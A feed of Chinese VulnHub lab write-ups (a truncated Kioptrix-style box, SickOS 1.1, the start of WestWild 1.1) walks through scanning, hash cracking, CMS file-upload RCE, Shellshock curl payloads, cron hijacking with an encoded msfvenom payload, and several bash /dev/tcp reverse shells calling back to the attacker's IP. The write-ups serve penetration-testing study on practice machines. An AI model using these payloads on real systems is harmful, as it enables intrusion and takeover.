PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.7 (protocol 2.0)
| ssh-hostkey: 
|   1024 05:c3:aa:15:2b:57:c7:f4:2b:d3:41:1c:74:76:cd:3d (DSA)
|_  2048 43:fa:3c:08:ab:e7:8b:39:c3:d6:f3:a4:54:19:fe:a6 (RSA)
25/tcp    open  smtp        Sendmail 8.14.1/8.14.1
80/tcp    open  http        Apache httpd 2.2.6 ((Fedora))
|_http-title: Phake Organization
110/tcp   open  pop3        ipop3d 2006k.101
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100024  1          32768/udp   status
|_  100024  1          33051/tcp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
143/tcp   open  imap        University of Washington IMAP imapd 2006k.396
445/tcp   open  netbios-ssn Samba smbd 3.0.26a-6.fc8 (workgroup: MYGROUP)  # <-- Samba 版本
901/tcp   open  http        Samba SWAT administration server
3306/tcp  open  mysql       MySQL 5.0.45
33051/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:1B:FC:7E (VMware)

OS details: Linux 2.6.9 - 2.6.30
Service Info: Hosts: localhost.localdomain, 192.168.200.160; OS: Unix

| smb-os-discovery: 
|   OS: Unix (Samba 3.0.26a-6.fc8)
|   Computer name: localhost
|   FQDN: localhost.localdomain

临时总结：扫描到了很多服务，SMB 有一个共享出来的文件，正常的 HTTP 和 MySQL，UDP 有 NFS，两个邮件服务。打算先去测试 SMB 中有没有泄露的信息，再看看 MySQL 能不能匿名登入，后续去探测 HTTP，不行再去测 NFS。

UDP 扫描

nmap -sU -p 111,2049,32765-32768 192.168.200.160 -oA udp

Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-19 21:33 EDT
Nmap scan report for 192.168.200.160

PORT      STATE  SERVICE
111/udp   open   rpcbind
2049/udp  closed nfs       # <-- NFS 未开放
32765/udp closed unknown
32766/udp closed unknown
32767/udp closed filenet-powsrm
32768/udp open   omad

漏洞扫描

nmap -sT -sV -sC -O -p $ports 192.168.200.160 -oA detail

1.2 SMB 探测

由于在 nmap 中扫描到了 smb 服务，并泄露出来一个工作组，先枚举共享。

smbclient -L //192.168.200.160 -N

在 Nmap 中的扫描可能存在错误，真实工作组为homes，尝试访问，访问无效：

再用 smbmap 确认一下是不是真不能访问还是 smbclient 版本问题：

smbmap -H 192.168.200.160

扫描结果显示 no access，应该是真不能访问了。保存一下 smb server 版本：Samba Server Version 3.0.26a-6.fc8，之后其他方式尝试无果再回来用这个试试。

1.3 MySQL 探测

很明显，mysql 不能通过匿名直接访问：

mysql -uroot -h192.168.200.160 -p

1.4 Web 探测

访问 web 主页：

页面内容：Phake Organization is your one stop shop for event organization...

访问页面源码，没有什么有效信息，就是主页看到的跳转链接。记下来打算点几个链接，同时进行目录枚举。

http://192.168.200.160/index.php?page=about   # 无有效内容

http://192.168.200.160/~andy/                 # 泄露 CMS 名称：powered by NanoCMS

通过点击 webmail 链接：

http://192.168.200.160/mail/src/login.php
# SquirrelMail version 1.4.11-1.fc8

NanoCMS Admin Login 管理后台地址：

http://192.168.200.160/~andy/data/nanoadmin.php

目录枚举：

dirsearch -u 'http://192.168.200.160/' -o dirs.txt

http://192.168.200.160/info.php      # phpinfo()
http://192.168.200.160/events/       # Phake Organization Event Manager
http://192.168.200.160/phpmyadmin/   # phpmyadmin
http://192.168.200.160/list          # 注册账户

信息汇总，确认优先级：

NanoCMS：知道后台登入地址，找 exp
SquirrelMail 1.4.11：邮件管理服务
phpmyadmin：可尝试爆破
在现有页面找注入点

2. Web 渗透

2.1 NanoCMS 凭证泄露

通过联网搜索，找到一个 exp（https://www.exploit-db.com/exploits/50997），但需要登入后台才能实现 RCE。NanoCMS 暂时可能不行，打算换 SquirrelMail 切入。（这里没有仔细翻阅搜索引擎内容，其中有一个提示这个 cms 存在路径凭证泄露）

NanoCMS /data/pagesdata.txt 密码哈希信息泄露漏洞：

参考：https://vulners.com/openvas/OPENVAS:1361412562310100141
泄露地址：http://192.168.200.160/~andy/data/pagesdata.txt

a:12:{...s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";...}

这段内容是 PHP 序列化数据，其中包含一个 MD5 hash。

Q: john 破解中 format 有很多 md5 该怎么选？

Format	适用场景
`raw-md5`	普通 MD5，直接对密码哈希
`md5crypt`	Linux `/etc/shadow` 里的 `$1$...`
`dynamic_0`	等同 raw-md5 的另一种写法

# john 爆破
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 查看凭证
john --show --format=Raw-MD5 hash.txt

获得凭证：admin:shannon

2.2 NanoCMS RCE 获取反弹 Shell

准备 PHP 反弹 Shell

cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
vim ./shell.php

修改 shell.php 里的两行，改成 Kali 的 IP 和监听端口：

$ip = '192.168.200.142';
$port = 4444;

运行 exp

# 安装exp需要的依赖
pip install requests bs4

# 运行exp
python nanocms_v0.4_exp.py http://192.168.200.160/~andy/ shell.php -u admin -p shannon -e

上传反弹 shell 的位置：http://192.168.200.160/~andy/data/pages/7b4f0e96.php

Kali 中提前开启的 nc 监听，已连接成功：

3. 提权

3.1 信息收集

拿到 webshell 后的基础信息：

sh-3.2$ whoami
apache
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

之前信息收集阶段探测到有很多服务，比较好奇 mysql 里面的内容，决定先看一下有没有泄露的凭证可以利用。

搜索配置文件

sh-3.2$ find . -name "*conf*"
./html/squirrelmail/config/config.php
./html/phpmyadmin/config.inc.php
./html/phpmyadmin/config.inc.php.bak
./html/phpmyadmin/libraries/config.default.php
...

查看了上面的几个配置文件，并未从里面发现有效信息。

打包源码分析

但是我的直觉告诉我，这台靶机中一定存在凭证泄露，我决定将 Web 服务的源码打包到本地来查看。

tar -czvf /tmp/backup.tar.gz html

通过查询，在 ./html/list/index.php 中发现明文数据库凭证：

这个路径是之前目录枚举的时候就找到的，不过由于信息过多没有仔细查看，重新访问，这是一个很简陋的php页面确实会存在凭证泄露的可能

$link = mysql_connect('localhost', 'root', 'mysqlpassword');

可以登入 phpmyadmin，也可以通过 cli 的 mysql 连接：

3.2 MySQL 信息收集

在 phpmyadmin 中搜索无法显示，转为使用 cli。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| contacts           | 
| drupal             | 
| mysql              | 
| test               | 
+--------------------+

contacts 数据库

mysql> use contacts;
mysql> select * from contact;
+----+--------------------+--------------------------------+--------------+--------------------+
| id | name               | email                          | phone        | org                |
+----+--------------------+--------------------------------+--------------+--------------------+
|  1 | Patrick Fair       | patrick@localhost.localdomain  | 555.123.4567 | Phake Organization | 
|  2 | Mr. Important User | important@localhost            | 555.123.4567 | Secret Org         | 
|  3 | Jennifer Sea       | jennifer@localhost.localdomain | 555.123.4567 | Phake Organization | 
|  4 | Andy Carp          | andy@localhost.localdomain     | 555.123.4567 | Phake Organization | 
|  5 | Loren Felt         | loren@localhost.localdomain    | 555.123.4567 | Phake Organization | 
|  6 | Amy Pendleton      | amy@localhost.localdomain      | 555.123.4567 | Phake Organization | 
+----+--------------------+--------------------------------+--------------+--------------------+

drupal 数据库 - 用户哈希

mysql> use drupal;
mysql> select uid,name,pass,mail from users;
+-----+----------+----------------------------------+--------------------+
| uid | name     | pass                             | mail               |
+-----+----------+----------------------------------+--------------------+
|   0 |          |                                  |                    | 
|   1 | jennifer | e3f4150c722e6376d87cd4d43fef0bc5 | jennifer@localhost | 
|   2 | patrick  | 5f4dcc3b5aa765d61d8327deb882cf99 | patrick@localhost  |  # <-- MD5 哈希
|   3 | andy     | b64406d23d480b88fe71755b96998a51 | andy@localhost     | 
|   4 | loren    | 6c470dd4a0901d53f7ed677828b23cfd | loren@localhost    | 
|   5 | amy      | e5f0f20b92f7022779015774e90ce917 | amy@localhost      | 
|   6 | owen     | ec1bfc4849584f8a9b5672364b1bf52f | abc@123.com        | 
+-----+----------+----------------------------------+--------------------+

提取 hash 进行爆破：

jennifer:e3f4150c722e6376d87cd4d43fef0bc5
patrick:5f4dcc3b5aa765d61d8327deb882cf99
andy:b64406d23d480b88fe71755b96998a51
loren:6c470dd4a0901d53f7ed677828b23cfd
amy:e5f0f20b92f7022779015774e90ce917

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=Raw-MD5 hash.txt

patrick:password
amy:temppass

尝试爆破出来的密码是不是对应用户的 SSH 凭证，也对密码和用户进行排列组合尝试均是无效凭证。

上面的尝试没试过，由于用户过多，很有可能存在家目录中权限和内容的残留，打算去家目录中搜索相关信息。

3.3 家目录信息收集

在查看 /etc/passwd 的文件中，存在许多可用用户，我决定在家目录中搜寻泄露的信息。

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpm:x:37:37:RPM user:/var/lib/rpm:/sbin/nologin
polkituser:x:87:87:PolicyKit:/:/sbin/nologin
avahi:x:499:499:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
torrent:x:497:496:BitTorrent Seed/Tracker:/var/spool/bittorrent:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
patrick:x:500:500:Patrick Fair:/home/patrick:/bin/bash
jennifer:x:501:501:Jennifer Sea:/home/jennifer:/bin/bash
andy:x:502:502:Andrew Carp:/home/andy:/bin/bash
loren:x:503:503:Loren Felt:/home/loren:/bin/bash
amy:x:504:504:Amy Pendelton:/home/amy:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash

查找家目录中带有 pass 的文件。

grep -R -i pass /home/* 2>/dev/null > scan.txt

其中有个文件提到了 Root password ，访问这个文件。

bash-3.2$ cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
<?xml version="1.0" encoding="utf-8"?>
<note version="0.2" ...>
  <title>Root password</title>
  <text xml:space="preserve"><note-content version="0.1">Root password

Root password

50$cent</note-content></text>   # <-- Root 明文密码
  ...
</note>

3.4 RootShell

切换root用户，确认凭证为root的凭证：

获得 Root 密码：50$cent

错误尝试：其中转向决定使用内核提权脚本，但是机器的 gcc 好像用不了，不知道是不是我不会操作。

4. 总结

这台靶机有很多攻击面，我在漏洞搜索的时候遗漏一个关于 CMS 凭证泄露的漏洞，导致我无法继续进行后续的探索。

提权阶段，这次还是有差一步，不只是 Web 目录可能存在凭证泄露，用户的家目录也会存在凭证泄露。

Vulnhub SickOS 1.1 WriteUp

Wed, 20 May 2026 00:00:00 GMT

前言

靶场介绍

SickOS 1.1 是 VulnHub 平台上一台以渗透测试为主题的入门级靶机，整体难度适中。靶机的核心考察点在于对非常规端口服务（HTTP 代理）的识别与利用，以及 CMS 漏洞的挖掘和凭据复用提权。

靶场信息

字段	值
靶机名	SickOS 1.1
靶机 IP	192.168.200.159
靶机 URL	https://www.vulnhub.com/entry/sickos-11,132/
下载（镜像）	https://download.vulnhub.com/sickos/sick0s1.1.7z
目标	获取 Root 权限

涉及工具

Nmap
Dirsearch
cURL
nc
MySQL

思维导图

1.信息收集

1.1 Nmap信息扫描

端口扫描

$ nmap -sT -p- --min-rate 10000 192.168.200.159 -oA ports

开放端口：22,3128,8080

扫描结果比较特殊，没有出现常见的 80 端口，反而出现了 3128 端口。查了一下，3128 是 Squid 代理服务的默认端口。

Squid 服务是什么： Squid 是一款支持 HTTP、HTTPS、FTP 等协议的 Web 缓存代理。它通过缓存和重用频繁请求的网页来降低带宽占用并提升响应速度，同时具备完善的访问控制机制。Squid 可在包括 Windows 在内的大多数操作系统上运行，采用 GNU GPL 许可协议。

详细信息

$ nmap -sT -sV -sC -O -p22,3128,8080 192.168.200.159 -oA detail

漏洞扫描

$ nmap --script=vuln -p22,3128,8080 192.168.200.159 -oA vuln

UDP 扫描

TCP 服务侧探测到的内容较少，可利用价值有限，补充进行 UDP 扫描。

$ nmap -sU --top-ports 20 192.168.200.159 -oA udp

提取开放端口后进行详细扫描：

$ nmap -sU -sV -sC -O -p53,67,68,69,123,135,137,138,139,161,162,445,500,514,520,631,1434,1900,4500,49152 192.168.200.159 -oA detail_udp

1.2 Web 探测

由扫描到的 3128 端口也是一个 Web 服务，直接访问 http://192.168.200.159:3128/，返回 squid/3.1.19 的错误页，无法正常浏览。

页面链接 URL 解码后内容如下：

mailto:webmaster?subject=CacheErrorInfo - ERR_INVALID_URL&body=CacheHost: localhost
ErrPage: ERR_INVALID_URL
Err: [none]
TimeStamp: Tue, 12 May 2026 17:27:05 GMT

ClientIP: 192.168.200.1

HTTP Request:

直接对 3128 端口进行目录扫描，没有找到有效内容：

$ dirsearch -u 'http://192.168.200.159:3128'

查阅资料后了解到，Squid 本身是一个代理服务器（参考：https://cloud.tencent.com/developer/article/2362188 ），这意味着可能需要通过它作为代理来访问靶机上的其他 Web 服务。在 Firefox 中配置代理指向 192.168.200.159:3128 后，果然成功访问到了原本无法直接访问的 Web 界面。

通过代理再次进行目录扫描（使用 --proxy 参数指定代理地址）：

$ dirsearch -u 'http://192.168.200.159' --proxy='http://192.168.200.159:3128'
[01:47:43] 200 -  109B  - /connect
[01:47:53] 200 -   58B  - /robots.txt    # <-- 关键发现

补充：curl 配置代理方式
# HTTP 代理
curl -x http://proxy_host:port http://example.com

访问 /robots.txt，内容如下：

User-agent: *
Disallow: /
Dissalow: /wolfcms    # <-- 路径泄露

robots.txt 中拼写有误的 Dissalow 字段泄露了一个路径 /wolfcms，这是下一步渗透的突破口。

访问 /connect 的内容：

#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"

这段脚本暗示靶机上可能存在某个定时运行的服务，先记录备用，后续提权阶段留意。

2.权限立足

2.1 WolfCMS 渗透

访问 robot.txt 泄露的网站路径， http://192.168.200.159/wolfcms/，是一个博客主页。页面底部标注了 WolfCMS，文章发布时间约为 2015 年，由此判断这是一个较老版本的 CMS，存在已知漏洞的可能性较高。

搜索 WolfCMS 相关漏洞，找到 Wolf CMS - Arbitrary File Upload / Execution，该漏洞允许在登录后台后上传任意文件并执行。利用路径为：

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

上传的文件可通过以下路径直接访问：

http://targetsite.com/wolfcms/public/hello.php

访问后台登录页，简单尝试万能密码无效，转而查询 WolfCMS 的默认凭据，得到 admin:admin，尝试后登入成功。

进入后台后，访问文件管理器：

http://192.168.200.159/wolfcms/?/admin/plugin/file_manager/browse/

先上传一张普通图片和一个 phpinfo 测试文件，验证上传功能是否正常。

测试图片可以正常访问：http://192.168.200.159/wolfcms/public/test.jpg

测试 PHP 文件可以正常执行：http://192.168.200.159/wolfcms/public/test.php

上传路径确认、PHP 执行已验证，接下来上传反弹 Shell：

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'"); ?>

Kali 开启监听：

$ sudo nc -lvnp 4444

访问 http://192.168.200.159/wolfcms/public/shell.php 触发代码执行，Kali 端成功接收到反弹连接：

3.提权

获得反弹 Shell 后，先确认当前的用户身份和系统基本信息：

www-data@SickOs:/var/www/wolfcms/public$ whoami
www-data
www-data@SickOs:/var/www/wolfcms/public$ uname -a
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux    # <-- 内核版本较旧，2014 年
www-data@SickOs:/var/www/wolfcms/public$ ip a
# ...（省略）inet 192.168.200.159/24

3.1 信息枚举

sudo 权限

www-data@SickOs:/var/www/wolfcms/public$ sudo -l
sudo: no tty present and no askpass program specified
Sorry, try again.
sudo: 3 incorrect password attempts

当前为非交互式 Shell，无法正常执行 sudo，该路径暂时不可用。

计划任务

www-data@SickOs:/var/www/wolfcms/public$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

均为系统默认任务，无可利用项。

SUID 文件

www-data@SickOs:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/bin/sudo
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/sbin/pppd
/usr/sbin/uuidd
/bin/ping6
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping

以上路径均为常规系统文件，无明显可利用项。转向配置文件查找凭据方向。

3.2 配置文件凭据提取

既然已经拿到了 WolfCMS 的 webshell，CMS 本身一定有数据库配置文件，里面大概率存有明文凭据。在 WolfCMS 目录下搜索配置文件：

www-data@SickOs:/var/www/wolfcms$ find . -name "*conf*"

在 config.php 中找到数据库连接配置，存有明文凭据：

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');    # <-- 明文凭据
define('TABLE_PREFIX', '');

这是 MySQL 的凭证，不一定能直接用于 SSH。先用 Python 提升 Shell 交互性，再登入 MySQL 看看有没有其他有价值的信息：

www-data@SickOs:/var/www/wolfcms$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@SickOs:/var/www/wolfcms$ mysql -uroot -pjohn@123

查看 wolf 数据库的表结构：

mysql> show tables;
+-----------------+
| Tables_in_wolf  |
+-----------------+
| cron            |
| layout          |
| page            |
| page_part       |
| page_tag        |
| permission      |
| plugin_settings |
| role            |
| role_permission |
| secure_token    |
| setting         |
| snippet         |
| tag             |
| user            |
| user_role       |
+-----------------+
15 rows in set (0.00 sec)

重点关注了 cron、permission、role、user 这几个表，查看过后没有得到可用信息。

3.3 凭据复用与提权

在数据库里没有收获，于是我换了个思路，检查系统中有哪些可登录的用户或是拥有shell的用户，看看能不能用已有的密码复用：

www-data@SickOs:/$ cat /etc/passwd
# ...
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash    # <-- 普通用户，配有 bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false

除 root 外，系统中还有一个名为 sickos 的普通用户。尝试用刚才从配置文件中拿到的 MySQL 密码 john@123 进行 SSH 登录：

$ ssh sickos@192.168.200.159
# 密码：john@123

密码复用成功，登录进来了。立刻检查 sudo 权限：

sickos 用户拥有完整的 sudo 权限（ALL:ALL），直接切换 root：

sickos@SickOs:~$ sudo su

成功获取 root shell。

4.总结

两个失败点，一个是浏览器搜索到 Squid 是代理服务，但完全没有想到访问 web 要通过代理去访问。

提权又失败了，猜到 config 里的配置可能有用，但是只尝试了 root 没有尝试多余的用户

尤其是还是除去 root 外唯一一个不是服务的账户我给漏掉了。

甚至想着用内核去提权，导致把系统搞崩溃。

5.补充

5.1 Shellshock 原理和利用

信息收集 — nikto 扫描

通过 nikto 扫描确认 Apache 版本，发现 Shellshock 漏洞线索：

$ sudo nikto -h 192.168.200.159 -useproxy http://192.168.200.159:3128

Shellshock 是什么？

https://fdlucifer.github.io/2020/04/02/shellshock-exploitation/
https://en.wikipedia.org/wiki/Shellshock_(software_bug)

Shellshock 漏洞验证

执行 Shellshock PoC，验证可以执行 whoami 命令：

curl --proxy http://192.168.200.159:3128 \
     -H "User-Agent: () { :; }; echo; /usr/bin/whoami" \
     http://192.168.200.159/cgi-bin/status

各部分作用说明：

部分	作用
`--proxy http://192.168.200.159:3128`	通过代理（如 Squid）转发请求，绕过直接访问限制
`-H "User-Agent: ..."`	自定义请求头，将 payload 注入 User-Agent
`() { :; };`	伪造一个空函数定义，触发 Bash 的解析逻辑
`echo;`	输出一个空行，分隔 HTTP 响应头与响应体，否则输出会被当作响应头解析报错
`/usr/bin/whoami`	实际想执行的命令
`/cgi-bin/status`	目标是 CGI 脚本

为什么是 CGI + User-Agent？

HTTP 请求到达服务器
       ↓
Apache/Nginx 调用 CGI 脚本（如 /cgi-bin/status）
       ↓
Web 服务器将 HTTP Header 转换成环境变量传给 Bash
       ↓
User-Agent → HTTP_USER_AGENT 环境变量
       ↓
漏洞版 Bash 解析该环境变量时，执行了函数定义后的命令
       ↓
whoami 被执行，结果返回在响应体中

关键链路：HTTP Header → 环境变量 → Bash 解析 → RCE

CGI 机制天然将 HTTP 请求头映射为环境变量，这正是 ShellShock 在 Web 场景下最经典的利用方式。除了 User-Agent，Referer、Cookie 等任意能变成环境变量的 Header 都可以作为注入点。

`() { :; };` 逐字符拆解

() { :; };
│   │ │  │
│   │ │  └─ 函数定义结束的分隔符，后面跟真正要执行的命令
│   │ └──── : 是 bash 内置的"空操作"命令，相当于 true，什么都不做
│   └────── { :; } 是函数体
└────────── () 匿名函数，没有函数名

完整语义：定义一个什么都不做的匿名函数，然后用 ; 结束定义，后面跟上真实 payload

: 是 Bash 的内置空命令，就是什么都不做，永远返回成功（exit code 0）。

构造完整 Payload

比较专业的写法，手动声明响应类型，防止某些 CGI 环境报 500 错误：

curl --proxy http://192.168.200.159:3128 \
  -H "User-Agent: () { :; }; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/whoami" \
  http://192.168.200.159/cgi-bin/status

echo 'Content-Type: text/plain'：手动声明响应类型，某些 CGI 环境不加这个会报 500 错误
echo; echo;：两个空行确保响应头和响应体分隔干净

构造反弹 shell payload：

curl --proxy http://192.168.200.159:3128 \
  -H "User-Agent: () { :; }; echo 'Content-Type: text/plain'; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'" \
  http://192.168.200.159/cgi-bin/status

5.2 计划任务提权（另一种路径）

发现可写计划任务

www-data@SickOs:/etc$ ls -liah | grep cron
131439 drwxr-xr-x  2 root root   4.0K Dec  5  2015 cron.d
131120 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.daily
131443 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.hourly
131431 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.monthly
131433 drwxr-xr-x  2 root root   4.0K Sep 22  2015 cron.weekly
131437 -rw-r--r--  1 root root    722 Jun 20  2012 crontab

www-data@SickOs:/etc$ cat cron.d/automate
* * * * * root /usr/bin/python /var/www/connect.py  # <-- 每分钟以 root 身份执行

每分钟 root 会执行 /var/www/connect.py，而该文件 www-data 可写。

Linux 计划任务详解参考：0x005-Linux 计划任务详解

生成反弹 shell Payload

$ sudo msfvenom -p cmd/unix/reverse_python Lhost=192.168.200.142 lport=4443 -f raw

写入恶意 connect.py

将 msfvenom 生成的 payload 覆盖写入目标文件：

www-data@SickOs:/var/www$ cat > /var/www/connect.py << 'EOF'
#!/usr/bin/python
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAQx7/K2NMGMd2SKGIPEgYRFaTvkmuhZNvw5vcPUxR78h7uuLvf3f+46uNs4xFY9dYeDbb6eWgL11ilAeZ1O+R7hEoLXmK+E4xvtkyEIeORwGO7Wy2jaD0WQPZCrA9kyOJjfrom2Z9830tvh3OeZvckvtBpD1PWGK08Id0J88FOlU6sBfZsnSDAXlWtjSV0jofLUb4cFRPq5PRJph51TXBQVCaAEtMvi61esQ==')[0])))
EOF

等待约 1 分钟，计划任务触发，收到 root shell：

Vulnhub WestWild 1.1 WriteUp

Tue, 12 May 2026 00:00:00 GMT

前言

靶场介绍

WestWild 1.1 是一台发布于 VulnHub 平台的入门级渗透测试靶机，适合正在备考 OSCP 或初学渗透测试的学习者练习。靶机模拟了一个存在信息泄露和权限配置不当的 Linux 环境，完整复现了从信息收集、SMB 匿名访问、凭据获取到纵向提权的攻击链路。

整个渗透流程不依赖复杂的漏洞利用，核心考察点在于：

服务枚举与 SMB 匿名访问
敏感文件的发现与凭据提取
Linux 本地提权中的可写文件枚举与 sudo 权限滥用

靶场信息

项目	内容
靶机名称	WestWild 1.1
靶机 IP	192.168.200.157
难度等级	入门（Beginner）
靶机官网	https://www.vulnhub.com/entry/westwild-11,338/
镜像下载	https://download.vulnhub.com/westwild/West-Wild-v1.1.ova
目标	获取 Flag1 + Root 权限

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

对目标进行端口扫描，发现开放了四个端口：

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

SSH 和 HTTP 是常见服务，139/445 端口说明目标开启了 SMB 服务，是重点关注对象。

服务版本探测

SMB 允许 guest 匿名访问，且 message signing 未启用，是重点突破口。

Nmap scan report for 192.168.200.157
Host is up (0.00031s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 6f:ee:95:91:9c:62:b2:14:cd:63:0a:3e:f8:10:9e:da (DSA)
|   2048 10:45:94:fe:a7:2f:02:8a:9b:21:1a:31:c5:03:30:48 (RSA)
|   256 97:94:17:86:18:e2:8e:7a:73:8e:41:20:76:ba:51:73 (ECDSA)
|_  256 23:81:c7:76:bb:37:78:ee:3b:73:e2:55:ad:81:32:72 (ED25519)
80/tcp  open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 00:0C:29:A8:7A:D8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: Host: WESTWILD; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: westwild
|   NetBIOS computer name: WESTWILD\x00
|   Domain name: \x00
|   FQDN: westwild
|_  System time: 2026-05-06T08:20:37+03:00
|_clock-skew: mean: -1h00m00s, deviation: 1h43m55s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-05-06T05:20:37
|_  start_date: N/A
|_nbstat: NetBIOS name: WESTWILD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

漏洞扫描

漏洞扫描发现 HTTP 存在 Slowloris DoS 风险（CVE-2007-6750），SMB 存在 regsvc DoS 漏洞，但均为 DoS 类型，对本次渗透意义不大，不作为利用方向。

Nmap scan report for 192.168.200.157
Host is up (0.00023s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
